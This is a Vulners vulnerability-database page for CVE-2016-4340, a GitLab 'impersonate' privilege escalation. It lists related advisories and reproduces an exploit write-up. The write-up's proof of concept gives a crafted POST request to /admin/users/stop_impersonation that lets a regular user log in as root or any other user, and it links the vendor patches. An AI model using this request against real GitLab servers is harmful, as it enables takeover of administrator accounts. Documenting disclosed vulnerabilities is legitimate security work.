Vulners
Lucene search
GitLab - 'impersonate' Feature Privilege Escalation
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | GitLab - 'impersonate' Feature Privilege Escalation | 15 Aug 201600:00 | – | zdt |
 | gitlab -- privilege escalation via "impersonate" feature | 2 May 201600:00 | – | freebsd |
 | GitLab Impersonate Feature Elevation of Privilege Vulnerability | 8 Sep 201600:00 | – | cnvd |
 | CVE-2016-4340 | 23 Jan 201721:00 | – | cve |
 | CVE-2016-4340 | 23 Jan 201721:00 | – | cvelist |
 | CVE-2016-4340 | 23 Jan 201721:00 | – | debiancve |
 | EUVD-2016-5340 | 7 Oct 202500:30 | – | euvd |
 | GitLab - impersonate Feature Privilege Escalation | 15 Aug 201600:00 | – | exploitpack |
 | FreeBSD : gitlab -- privilege escalation via 'impersonate' feature (be72e773-1131-11e6-94fa-002590263bf5) | 4 May 201600:00 | – | nessus |
| Linux Distros Unpatched Vulnerability : CVE-2016-4340 | 25 Aug 202500:00 | – | nessus |
10
# Exploit Title: GitLab privilege escalation via "impersonate" feature
# Date: 02-05-2016
# Software Link: https://about.gitlab.com/
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
# Exploit Author: Kaimi
# Website: https://kaimi.ru
# CVE: CVE-2016-4340
# Category: webapps
1. Description
Any registered user can "log in" as any other user, including administrators.
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/
2. Proof of Concept
Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).
Craft request using this as template:
POST /admin/users/stop_impersonation?id=root
. . .
_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D
Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.
3. Solution:
Use officialy provided solutions:
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Aug 2016 00:00Current
8.7High risk
Vulners AI Score8.7
CVSS 26.5
CVSS 38.8
EPSS0.02474